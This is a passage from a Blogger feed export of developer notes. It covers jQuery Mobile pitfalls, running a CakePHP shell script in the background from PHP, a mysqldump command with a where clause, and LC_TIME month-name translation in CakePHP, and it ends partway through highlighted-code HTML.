First, let me explain what I mean by data-role=”page”. When you create your index.html for your jQuery Mobile project, you set it up like so:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<!– index.html –><br style="margin: 0px; padding: 0px;" /><!DOCTYPE html><br style="margin: 0px; padding: 0px;" /><html><br style="margin: 0px; padding: 0px;" /><head><br style="margin: 0px; padding: 0px;" /><title>My Project</title><br style="margin: 0px; padding: 0px;" /><meta name=”viewport” content=”width=device-width, initial-scale=1″/><br style="margin: 0px; padding: 0px;" /><link rel=”stylesheet” href=”css/jquery.mobile-1.1.0.min.css” /><br style="margin: 0px; padding: 0px;" /><script type=”text/javascript” charset=”utf-8″ src=”js/jquery-1.7.1.min.js”></script><br style="margin: 0px; padding: 0px;" /><script type=”text/javascript” charset=”utf-8″ src=”js/jquery.mobile-1.1.0.min.js”></script><br style="margin: 0px; padding: 0px;" /><script type=”text/javascript” charset=”utf-8″ src=”js/phonegap-1.4.1.js”></script><br style="margin: 0px; padding: 0px;" /></head><br style="margin: 0px; padding: 0px;" /><body></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”page” id=”home”></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”header”><br style="margin: 0px; padding: 0px;" /><h1>Your header</h1><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”content”><br style="margin: 0px; padding: 0px;" /><p>The content goes here</p><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”footer”><br style="margin: 0px; padding: 0px;" /><p>The footer goes here</p><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
</div><br style="margin: 0px; padding: 0px;" /></body><br style="margin: 0px; padding: 0px;" /></html></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Notice that we have our opening html tag, our head section with all our stylesheets and javascript includes, our opening body tag, our page div (containing the head, content and footer of the page), our closing body tag and closing html tag. This is standard when creating a html page and something we’re all use to.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Now let’s say you want to create another page called search.html. You would think that you would need to copy the head section, body and html tags to the search.html page, but THIS IS WRONG! All the search.html page would contain is the page div like so:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<!– search.html –></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”page” id=”search”></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”header”><br style="margin: 0px; padding: 0px;" /><h1>Search</h1><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”content”><br style="margin: 0px; padding: 0px;" /><p>The form used to search</p><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”footer”><br style="margin: 0px; padding: 0px;" /><p>The footer goes here</p><br style="margin: 0px; padding: 0px;" /></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
</div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The reason for this is that jQuery Mobile will inject the search.html page’s content into the index.html via ajax. Because of this, if you put the html, head, and body tags into your search.html page, they will get duplicated. This can cause all sorts of issues that I won’t even go into. Just remember that you only need the html, head and body tags on the index.html page.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
2) <strong style="margin: 0px; padding: 0px;">Disable ajax caching globally</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Supposedly in jQuery Mobile disabled ajax caching of pages in 1.1.0. However, I was still having issue with the pages being cached so this was making development a real pain. Luckily you can disable ajax caching altogether by doing:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<script><br style="margin: 0px; padding: 0px;" />$.ajaxSetup ({<br style="margin: 0px; padding: 0px;" />// Disable caching of AJAX responses<br style="margin: 0px; padding: 0px;" />cache: false<br style="margin: 0px; padding: 0px;" />});<br style="margin: 0px; padding: 0px;" /></script></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Just put that in your head section on your index.html page and you should be golden.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
3) <strong style="margin: 0px; padding: 0px;">Multiple events firing</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
This was a HUGE pain in the ass. You normally see this problem when submitting a form from one page to another. On the calling page, you might have some javascript that is bound to an event (like pageshow) that generates some dynamic content after doing an ajax call. If you look in your Net tab in firebug, you’ll notice that the ajax call will increment with each visit. So on the first visit it fires once, the second visit it fires twice and so on. The reason for this is because, again, of the way jQuery Mobile pulls in pages via ajax. Because it will pull the page in for each visit, it will continually add the code you want to run to the event stack on each visit.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Now I’ve seen people try to solve this by placing the code in the `pageinit` event since that only fires the first time the page in pulled via ajax, but this doesn’t work when you’re having to create dynamic content based on a search string.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The solution is quite simple once you think about it, just put your code on the index.html and delegate using the on() method. so for instance, if you have page with an id of `search` and you want to run an ajax request to get the results, you would do:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
$(document).on(‘pageshow’, ‘#search’, function(){<br style="margin: 0px; padding: 0px;" />// add code to get the search results via ajax here<br style="margin: 0px; padding: 0px;" />});</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Personally I would recommend that you put all the javascript code for your app in a js file and include that on your index.html page.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
4) <strong style="margin: 0px; padding: 0px;">When inserting dynamic content into the DOM you must call trigger(‘create’) in order for the framework to apply the styling.</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
For my app, I have a function that automatically add pagination buttons (previous and next) to the footer. In my template the footer is just defined plainly:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”footer”></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
In my javascript code, I add the pagination by calling the html() method on the footer object (code is summarized):</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
var loc = {};<br style="margin: 0px; padding: 0px;" />loc.self = $(this);<br style="margin: 0px; padding: 0px;" />loc.footer = $(‘[data-role="footer"]‘, loc.self);<br style="margin: 0px; padding: 0px;" />loc.footer.html(pagination(loc.params.page, loc.results.PAGES));</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The issue was that none of the styling was taking affect on the footer and the prev and next button were showing up as just links. I found in the jQuery Mobile form that you should call page() on the object after altering it, but this really didn’t work. After some more search I found that what I really need to do was call trigger(‘create’) on the object instead. the nice thing is that you can chain this after the html() call and it still works:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
loc.footer.html(pagination(loc.params.page, loc.results.PAGES)).trigger(‘create’);</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
5) <strong style="margin: 0px; padding: 0px;">When creating a dynamic listview and inserting content into it, you need to call listview() and then listview(‘refresh’) to reapply the styling.</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
This is basically the same problem as #4 only this time we’re dynamically creating a listview an inserting content into it. In my app, I use <a href="https://github.com/tchype/liquid.js" style="color: #004276; margin: 0px; padding: 0px;" target="_blank">Liquid</a> as a templating language as it’s just making life soooo much easier then concatenating javascript strings. So to create my list view, I have it defined in my Liquid template like so:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<script type=”text/liquid” id=”arrestSearchResults-markup”><br style="margin: 0px; padding: 0px;" />{% if RESULTS.size %}<br style="margin: 0px; padding: 0px;" /><ul id=”arrestSearchResults-listview” data-role=”listview”><br style="margin: 0px; padding: 0px;" />{% for item in RESULTS %}<br style="margin: 0px; padding: 0px;" /><li><br style="margin: 0px; padding: 0px;" /><a href=’{{LINK}}&jms_number={{item.JMS_NUMBER}}’ class=’arrestSearch-details’><br style="margin: 0px; padding: 0px;" /><img src=’{{item.PHOTO_THUMB}}’ /><br style="margin: 0px; padding: 0px;" /><h3>{{item.LAST_NAME}}, {{item.FIRST_NAME}} {{item.MIDDLE_NAME}}</h3><br style="margin: 0px; padding: 0px;" /><p>{{item.JAIL}}</p><br style="margin: 0px; padding: 0px;" /></a><br style="margin: 0px; padding: 0px;" /></li><br style="margin: 0px; padding: 0px;" />{% endfor %}<br style="margin: 0px; padding: 0px;" /></ul><br style="margin: 0px; padding: 0px;" />{% else %}<br style="margin: 0px; padding: 0px;" /><h3>No records found</h3><br style="margin: 0px; padding: 0px;" />{% endif %}<br style="margin: 0px; padding: 0px;" /></script></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The target content div is defined plainly, just like my footer is in #4:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<div data-role=”content”></div></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
to compile the template and insert it into the content div, I do the following in my code (code is summarized):</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
var loc = {};<br style="margin: 0px; padding: 0px;" />loc.self = $(this);<br style="margin: 0px; padding: 0px;" />loc.markup = $(“#arrestSearchResults-markup”).html();<br style="margin: 0px; padding: 0px;" />loc.target = $(‘[data-role="content"]‘, loc.self);</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
// render the markup to the listview<br style="margin: 0px; padding: 0px;" />loc.target.html(Liquid.Template.parse(loc.markup).render(assigns));<br style="margin: 0px; padding: 0px;" />// refresh the listview<br style="margin: 0px; padding: 0px;" />loc.target.find(‘ul’).listview();<br style="margin: 0px; padding: 0px;" />loc.target.find(‘ul’).listview(‘refresh’);</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Basically what I’m doing is getting the template markup and the content div and putting them into a variables. I then compile the Liquid template and pass in the assigns object that contains the information to render the template.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The key to all of this is the next two lines which finds the unsorted list (‘ul’) which contains the listview a just injected into the content div and calls listview() on it, this tell jQuery Mobile to treat the ul as a listview object. I then call listview(‘refresh’) to have the framework apply the styling to it.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
6) <strong style="margin: 0px; padding: 0px;">When performing validation on a form, the form will still submit.</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Here is the setup. You have a form and you’re trying to perform some sort of validation on it when the form is submitted and show the visitor some errors. You tie your validation to the form’s submit event using submit() and include event.preventDefault() good measure when any error occur. However, the form still submits even though errors are through, the event.preventDefault() does prevent the form from not submitting. Heck, you even throw in `return false` hoping the form won’t submit, but it still does.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The issue is that the form is being submitting via ajax and you can’t stop the ajax submission from happening through standard means. The only thing you can do is turn off ajax and submit the form yourself. Now in older versions of the framework, you could turn off ajax for form submissions separately, however in the latest version (1.1.0) you can only turn off ajax globally by setting `ajaxEnabled` to false. This sucks as you most likely want all the ajax goodness, just not on form submission.</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The way around the is to add `data-ajax=”false”` to the form:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
<form id=”myform” action=”somepage.html” method=”get” data-ajax=”false”></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
The will prevent the form from being submitted via ajax. Now the fun part if how in the world are you going to submit the form data to the action page using ajax so you get that nice ajax spinner thingy when you’ve turn ajax off? The answer is manually submit the form data by serializing it and appending it to form’s action attribute. Then use `$.mobile.changePage()` to submit the data via ajax. Below is a little helper function I wrote to do this:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
submitForm = function(formid){<br style="margin: 0px; padding: 0px;" />var form = $(“#” + formid);<br style="margin: 0px; padding: 0px;" />var page = [];<br style="margin: 0px; padding: 0px;" />page.push(form.attr(‘action’));<br style="margin: 0px; padding: 0px;" />page.push(form.serialize());<br style="margin: 0px; padding: 0px;" />$.mobile.changePage(page.join(‘?’));<br style="margin: 0px; padding: 0px;" />}</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
To use, just call submitForm(‘your form id’) and it will handle the submission for you:</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
submitForm(“myform”);</div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
7) <strong style="margin: 0px; padding: 0px;">Calling trigger(‘create’) on date-role=”header” has no effect</strong></div>
<div style="line-height: 25px; margin-bottom: 10px; padding: 0px;">
Though you need to call trigger(‘create’) on the data-role=”content” when adding dynamic content for it to style properly, this doesn’t hold true for data-role=”header”. The solution is to call trigger(‘pagecreate’) instead.</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-75425263428402100152013-05-29T17:27:00.003-07:002013-05-29T17:27:53.265-07:00asynchronous php thread (asynchronous cake shell execution)While cumbersome if not impossible to actually manage threads in PHP, you can always execute in background a php script.<br />
<br />
Here's how:<br />
<br />
While in a cakephp framework method (of course the important details are the ones in colored background):<br />
<br />
<code>
$str = 'path/to/cakelib/cake/console/cake -working '.ROOT . DS . APP_DIR.' -app ' . ROOT . DS . APP_DIR . ' my_shell_script <span style="background-color: #ffe599;">> /dev/null 2> '.LOGS.'my_log.log &</span>';</code><br />
<code><br /><span style="background-color: #ffd966;">exec</span>($str, $output2, $status);</code><br />
<code><br /></code>
<br /><div>
<br /></div>
<div>
I used the ideas from this post: http://stackoverflow.com/questions/222414/asynchronous-shell-exec-in-php</div>
<div>
<br /></div>
<div>
This answer:</div>
<div>
<div class="post-text">
If it "doesn't care about the output", couldn't the exec to the script be called with the <code>&</code> to background the process?<br />
<strong>EDIT</strong> - incorporating what @<a href="http://stackoverflow.com/users/1103/adamthehutt">AdamTheHut</a> commented to this post, you can add this to a call to <code>exec</code>:<br />
<pre class="default prettyprint prettyprinted"><code>"> /dev/null 2>/dev/null &"</code></pre>
That will redirect both <code>stdio</code> (first <code>></code>) and <code>stderr</code> (<code>2></code>) to <code>/dev/null</code> and run in the background.<br />
There are other ways to do the same thing, but this is the simplest to read.<br />
<hr />
An alternative to the above double-redirect:<br />
<pre class="default prettyprint prettyprinted"><code>" &> /dev/null &"</code></pre>
</div>
</div>
<div>
<code><br /></code>
<code><br /></code></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-47064867572124395862013-05-21T15:21:00.001-07:002013-05-21T15:21:14.803-07:00mysql dump to a file with where clauseThis is very useful to export records in a table to a file, to import later...<br />
<br />
<br />mysqldump --databases dbname -h hostname --tables tablename --where="condition='1' and condition='2'" -u username -p --no-create-db --no-create-info > myfile.dump<br />
<br />
to import<br />
<br />
mysql --databases dbname -h hostname --tables tablename -u username -p < myfile.dumpUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-15073831901941730832013-05-15T06:49:00.001-07:002013-05-15T06:49:21.506-07:00Translating month names in CakePHP (i18n)I found this, and I think it is worth saving.<br />
<br />
Taken from: <a href="http://www.bravo-kernel.com/2010/12/using-lc_time-with-cakephp/">http://www.bravo-kernel.com/2010/12/using-lc_time-with-cakephp/</a><br />
<br />
<br />
<h1 class="post-title" style="border: 0px; color: #555555; font-family: Signika, sans-serif; font-size: 24px; line-height: 1em; margin: 0.5em 0px; padding: 0px; text-transform: uppercase; vertical-align: baseline; word-wrap: break-word;">
USING LC_TIME WITH CAKEPHP</h1>
<div class="post-entry" style="border: 0px; clear: none; color: #555555; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin: 0px; padding: 0px; vertical-align: baseline;">
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
CakePHP supports LC_TIME translations since version 1.3 and since it took me some time to completely figure out the logic behind it I am storing my notes here as a mental reminder to self (again).</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
First things first… make sure you read <a href="http://book.cakephp.org/view/1579/Library-classes" style="border: 0px; color: #0066cc; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank" title="CakePHP i18N (LC_TIME)">the i18n paragraph</a> on LC_TIME in the Book to get some basic understanding of what we are trying to do here.</div>
<h2 style="border: 0px; font-family: inherit; font-size: 2.25em; font-style: inherit; font-variant: inherit; line-height: 1em; margin: 0.75em 0px; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Preparing for LC_TIME</h2>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
For __c(), $this->Time->format() and $this->Time->i18nFormat() to work:</div>
<ol style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: 22px; list-style-image: initial; list-style-position: outside; margin: 0px 1.5em 1.5em 0px; padding: 0px 0px 0px 2em; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">create a file called /app/locale/dut/LC_TIME</li>
<li style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">on your local Linux workstation open /usr/share/i18n/locales/nl_NL</li>
<li style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">copy everything between LC_TIME and END LC_TIME to the file created in step 1 and save that file</li>
</ol>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<em style="border: 0px; font-family: inherit; font-size: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Note:</strong> make sure to add the escape_char and comment_char definitions to your LC_TIME file as well or your setup will not be fully functional (<a href="http://cakephp.lighthouseapp.com/projects/42648/tickets/1238-__loadlocaledefinition-not-handling-multiline-locale-defintions-files" style="border: 0px; color: #0066cc; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank" title="Don't forget to include escape_char and comment_char">see this page for more info</a>):</em></div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<div class="syntaxhighlighter plain" id="highlighter_755332" style="background-color: white !important; border: 0px; font-family: inherit; font-size: 1em !important; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 1em 0px !important; overflow-x: auto !important; overflow-y: hidden !important; padding: 0px; position: relative !important; vertical-align: baseline; width: 918px;">
<table border="0" cellpadding="0" cellspacing="0" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-collapse: collapse; border-spacing: 0px; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 918px;"><tbody style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<tr style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><td class="gutter" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
1</div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
2</div>
</td><td class="code" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 886px;"><div class="container" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: relative !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">comment_char %</code></div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">escape_char /</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<h2 style="border: 0px; font-family: inherit; font-size: 2.25em; font-style: inherit; font-variant: inherit; line-height: 1em; margin: 0.75em 0px; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
strftime()</h2>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<strong style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">There is no need to use php’s strftime()</strong> if you consistently stick to using the CakePHP functions mentioned above. However, if you do need to get strftime() up and running you should add the following line to one of your controllers.</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<div class="syntaxhighlighter plain" id="highlighter_951469" style="background-color: white !important; border: 0px; font-family: inherit; font-size: 1em !important; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 1em 0px !important; overflow-x: auto !important; overflow-y: hidden !important; padding: 0px; position: relative !important; vertical-align: baseline; width: 918px;">
<table border="0" cellpadding="0" cellspacing="0" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-collapse: collapse; border-spacing: 0px; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 918px;"><tbody style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<tr style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><td class="gutter" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; 